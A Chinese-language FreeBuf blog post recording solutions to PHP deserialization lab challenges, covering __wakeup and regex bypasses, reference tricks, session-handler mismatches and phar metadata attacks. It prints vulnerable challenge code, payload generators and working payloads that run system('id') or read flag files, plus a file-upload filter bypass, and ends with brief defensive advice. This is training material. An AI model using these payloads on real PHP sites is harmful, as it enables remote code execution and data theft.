freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

PHP反序列化靶场通关记录-2
s0l4r 2023-04-30 21:21:50 147745
所属地 北京

1 靶场WP

0x18 __wake_up绕过

__wake_up方法当传入的序列化字符串中成员个数大于实际成员个数时不会执行
例题代码如下

<?php
    error_reporting(0);
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        highlight_file(__FILE__);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?>

secrete类中,__construct方法可以指定file为flag.php,最终__deconstruct方法输出,然而存在__wake_up方法在调用__deconstruct输出之前修改了file值,需要绕过
正则表达式中限制字符o/c:数字:的模式,因此也需要绕过

绕过__wake_up:O:6:"secret":2:{s:4:"file";s:8:"flag.php";},2可以使用任意大于1的值替换

正则绕过:正则匹配时只匹配整串,因此只要保证不出现O:数字:即可,因此使用O:+数字
最终payload:O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
注意url编码,防止+的干扰
image.png

0x19 引用的反序列化

php引用:不同名变量可访问同一个内容
例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    class just4fun {
        var $enter;
        var $secret;
    }

    if (isset($_GET['pass'])) {
        $pass = $_GET['pass'];
        $pass=str_replace('*','\*',$pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

审计代码,发现需要$o->secret和$o->enter相等,而在开始位置又对传入的序列化字符串中*做替换,导致构造后二者不会相等
观察反序列化操作,先反序列化,后对成员变量赋值,因此可以使用引用的方式,使enter=&secret,当修改secret时,enter读取的值也相应修改
payload生成代码如下

<?php
    class just4fun {
        var $enter;
        var $secret;
    }
    $j = new just4fun();
    $j->enter = &$j->secret;
    echo serialize($j);
?>

最终payload为O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;},获取flag
image.png

0x20+0x21 Session反序列化

session反序列化本质:不同页面采用的反序列化解析器不同
php反序列化解析器

  1. php,格式为 session键|序列化后值

  2. php_binary,格式为 键长度对应ascii+键名+序列化后值

  3. php_serialize,格式为 序列化后值,数组形式

session的序列化与反序列化分别在保存session和读取session的过程中
保存session页面代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['ben'] = $_GET['a'];
?>

采用php_serialize格式
读取session页面代码

<?php 
    highlight_file(__FILE__);
    error_reporting(0);

    ini_set('session.serialize_handler','php');
    session_start();

    class D{
        var $a;
        function __destruct(){
            eval($this->a);
        }
    }
?>

采用php格式,二者格式不同,可能引发反序列化漏洞
构造D的序列化字符串,实现命令执行,采用php_serialize格式,最终为O:1:"D":1:{s:1:"a";s:13:"system('id');";}
传递参时添加 | 字符,docker中查看保存的session

$sudo docker exec -it container /bin/bash

image.png
访问读取session页面,由于使用php格式,因此|之前的内容当作session键处理,反序列化后面的内容,触发代码执行,实现system的命令执行
image.png
0x21同理,审计代码发现hint.php用于保存session,且格式为php_serialize
分析index.php的Flag类,需要确保name===her,参考之前的引用反序列化,构造payload如下|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;},通过hint.php保存session,访问index.php,读取flag
image.png

0x22+0x23 phar反序列化

phar:类似jar包
文件格式

  1. stub头,一般使用__HALT_COMPILER,有时会对该部分检测,不允许上传phar包

  2. manifest describing the contents,其中存在meta-data,是反序列化漏洞的入口点

  3. file contents

  4. 可选签名

生成phar包代码

<?php
    class obj{
        public $a;
    }
    $phar=new Phar('test.phar');
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ?>'); //有时为了过验证,同时加入其他头,如GIF89a
    $o=new obj();
    $o->a='a';
    $phar->setMetadata($o);
    $phar->addFromString("test.txt","test");
    $phar->stopBuffering(); 
?>

phar包会在第一次使用phar协议时对meta-data反序列化,触发反序列化漏洞
例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class Testobj
    {
        var $output="echo 'ok';";
        function __destruct()
        {
            eval($this->output);
        }
    }
    if(isset($_GET['filename']))
    {
        $filename=$_GET['filename'];
        var_dump(file_exists($filename));
    }
?>

审计代码,发现传入filename未过滤,因此可以使用phar协议;Testobj类中存在代码执行,修改output实现命令执行
利用

  1. 生成phar包(phar.php中可用)
    image.png

  2. 审计生成的phar包,存在eval($_GET['a']);可代码执行,传递filename=phar://test.phar/test.txt/test&a=system('id');,实现命令执行
    image.png

0x23同理,未对file进行处理,且存在upload.php文件上传点
首先生成phar,代码如下

<?php
    highlight_file(__FILE__);
    class TestObject{}
    $phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
    $phar->startBuffering();  //开始写文件
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //写入stub
    $o=new TestObject();
    $phar->setMetadata($o);//写入meta-data
    $phar->addFromString("test.txt","test");  //添加要压缩的文件
    $phar->stopBuffering();
?>

上传发现出现被拦截
image.png
修改后缀及content-type尝试绕过
image.png
成功上传
image.png
最终在index页面post一个file,为之前上传的文件名
image.png
成功读取flag
image.png

2 防御措施

php反序列化漏洞本质在于对用户输入的序列化字符串不加处理,导致实现代码执行、敏感信息读取等操作。
防护方式和常规注入漏洞一致,不信任任何用户输入,不直接反序列化用户输入

# web安全 # php # php反序列化漏洞 # php反序列化学习
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 s0l4r 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
s0l4r LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 6 关注者
Nimbo-C2分析1-源码分析
2023-06-24
Pikachu靶场通关记录
2023-05-18
Log4J2漏洞原理详解及复现
2023-05-06
文章目录